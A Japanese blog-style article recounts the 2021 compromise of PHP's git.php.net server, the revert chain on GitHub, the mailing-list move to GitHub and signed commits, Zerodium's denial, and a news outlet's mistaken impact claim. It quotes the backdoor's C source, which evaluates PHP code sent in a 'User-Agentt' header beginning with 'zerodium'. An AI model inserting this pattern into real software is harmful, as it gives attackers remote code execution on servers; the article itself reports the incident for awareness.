【PHP src】PHPはソース管理に独自gitサーバを辞めてGitHubに移行する

これまでPHPは[git.php.net](http://git.php.net/)がメインのソース管理リポジトリでした。
[GitHubにもリポジトリはありました](https://github.com/php/php-src)が、あくまでミラーという扱いでした。

しかし今後はgit.php.netを廃止し、GitHubへと完全移行することになりました。

原因はハッキングです。

# 経緯

## https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d

[Rasmus Lerdorf](https://github.com/rlerdorf)名義でおかしなコミットが行われました。

```cpp
	zval *enc;

	if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
		(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
		convert_to_string(enc);
		if (strstr(Z_STRVAL_P(enc), "zerodium")) {
			zend_try {
				zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
			} zend_end_try();
		}
	}
```

[Michael Voříšek](https://github.com/mvorisek) 「へいRasmus、いったいこれは何なんだい？」
[Jake Birchall](https://github.com/JABirchall) 「ユーザエージェント文字列に'zerodium'が入ってたら、そこから先のユーザエージェント文字列をPHPコードとして実行する、って書いてあるな」

見てのとおり、極めて危険なコードです。


## https://github.com/php/php-src/commit/046827a7e867bb0e655923c75c25a20d06e3aa8b

6時間後にNikitaによってRevertされました。

[Nikita Popov](https://github.com/nikic/) 「Gitアカウントがハッキングされたっぽい。アカウント停止した。」

## https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a

7時間後にNikitaによってRevertがRevertされました。

[Gemorroj](https://github.com/Gemorroj) 「おや、Nikitaもハクられた？」

## https://github.com/php/php-src/commit/8d743d5281c29e9750e183804b7ba02e1ff82f0b

1時間後、[Levi Morrison](https://github.com/morrisonlevi)によってRevertのRevertがRevertされました。


とりあえずここでハッキングは止まりました。


# メーリングリスト

## [Nikita Popov](https://externals.io/message/113838)

2021/03/28、Rasmus Lerdorfと私の名義で2個の悪意あるコミットがPUSHされてたよ。
具体的にどんな手法を使ったのかはまだわからないけど、どうやら個々のgitアカウントへの侵入ではなく、git.php.netサーバへの侵入が原因みたいだ。

調査はまだ進行中だけど、独自のgitインフラをこれ以上維持することは、不必要なセキュリティリスクを背負い込むことになると判断したので、git.php.netは廃止することにしたよ。
今後はかわりにGitHubのリポジトリを使うことにするよ。
今後はgit.php.netではなくGitHubにPUSHするようにしてね。

リポジトリへの書き込み権限も、これまでは独自開発したkarmaシステムってやつを使ってたんだけど、これからはGitHubのOrganizationを使うよ。
まだメンバーになってない人は連絡してほしい。
この変更によって、GitHubのWebインターフェイスを使って直接操作したりプルリクしたりできるようになるよ。

2つのコミット以外にも問題が無いか調べてるけど、何か気付いたことがあったら教えてください。


## [Paul Crovella](https://externals.io/message/113838#113840)

この際だからコミットに署名を義務付けるのはいかがかな？

## [Sara Golemon](https://externals.io/message/113838#113841)

義務付けまではいかなくても、強く推奨はすべきです。
私は数年前から署名してますが、特に難しいことではありません。

## [Rasmus Lerdorf](https://externals.io/message/113838#113842)

php-srcでは必須にしたほうがいいと思います。
docなど他のリポジトリでは、まだオプションでいいと思います。

重大な問題だけあって錚々たるメンバーが集まっています。


# Zerodium

このコミットには`REMOVETHIS: sold to zerodium, mid 2017`、2017年にZerodiumに売った、と書かれています。

[Zerodium](https://zerodium.com/)は脆弱性を買い取る企業です。
しかしZerodiumのえらい人は[知らんと主張](https://twitter.com/cBekrar/status/1376469666084757506)しています。

> Cheers to the troll who put "Zerodium" in today's PHP git compromised commits. Obviously, we have nothing to do with this. 
> Likely, the researcher(s) who found this bug/exploit tried to sell it to many entities but none wanted to buy this crap, so they burned it for fun 😃

我々はこれとは何の関係もないよ。
おそらく、この脆弱性を見つけた奴はどっかに売ろうとしたけど、誰も買ってくれなかったから適当に燃やしたんだろう。


# The Record by Recorded Futureは何を言ってるんだ

この件[Gigazineが記事にしてた](https://gigazine.net/news/20210330-phps-git-server-hacked-backdoors/)のですが、最後に何か意味の分からないことが書いてありました。

> 海外メディアのThe Record by Recorded Futureは「統計調査によると、PHPはインターネット上のすべてのWebサイトの約80％で使用されていますが、ほとんどのPHPサーバーはパッチの適用や最新のソフトウェアバージョンの実行が遅れているため、今回の事件は、ごく一部のシステムにしか影響を与えなかったと考えられます」と述べて、影響が及ぶ範囲は最小限との見方を示しています。

このコミットは、開発中のブランチに紛れ込んだとけど気付いた開発者によって取り除かれたという話です。
このコミットが入ったバージョンのPHPはひとつもリリースされておらず、どれほど最新のパッチを追っていようが、システムに取り込まれることはありません。
ごく一部どころかあらゆるシステムに一切影響はありません。

影響が起こるのは、開発中のブランチの該当のコミットを自力で直接ビルドする人だけで、世界で10人とかでしょう。

Gigazineの勇み足というわけではなく参照先が間違いを書いているということで、該当の記事は[Hackers backdoor PHP source code after internal repo hack](https://therecord.media/hackers-backdoor-php-source-code-after-internal-repo-hack/)です。
本当にこんなこと言ってるのかよ、と思って見てみたのですが本当に言ってるみたいですね。

> the incident would have affected only a small portion of these systems as most PHP servers usually lag in terms of patching and running the latest software version.

これはひどい。


なお、[CNET Japanの記事](https://japan.cnet.com/article/35168549/)では正しい解説がなされていました。

> このコミットはダウンストリームに至る前、あるいはユーザーに影響する前に検出され、破棄された。


# 登場人物紹介

## Rasmus Lerdorf

PHPの最初のバージョンを作った人。
[多数の名言](https://en.wikiquote.org/wiki/Rasmus_Lerdorf)でもよく知られている。
最近はコミットはほとんどしていないみたいだが、このように時々顔を出す。

## Nikita Popov

ここ数年のPHP実装を主導している人物で、大きめのRFCは大抵この人が関わってる。
あとガチガチstrictぺちぱーの急先鋒でもある。

## Sara Golemon

PHP4の時代からずっとPHPコアに貢献し続けている古参コントリビュータ。
最近はPHPのリリースマネージャーを務めている。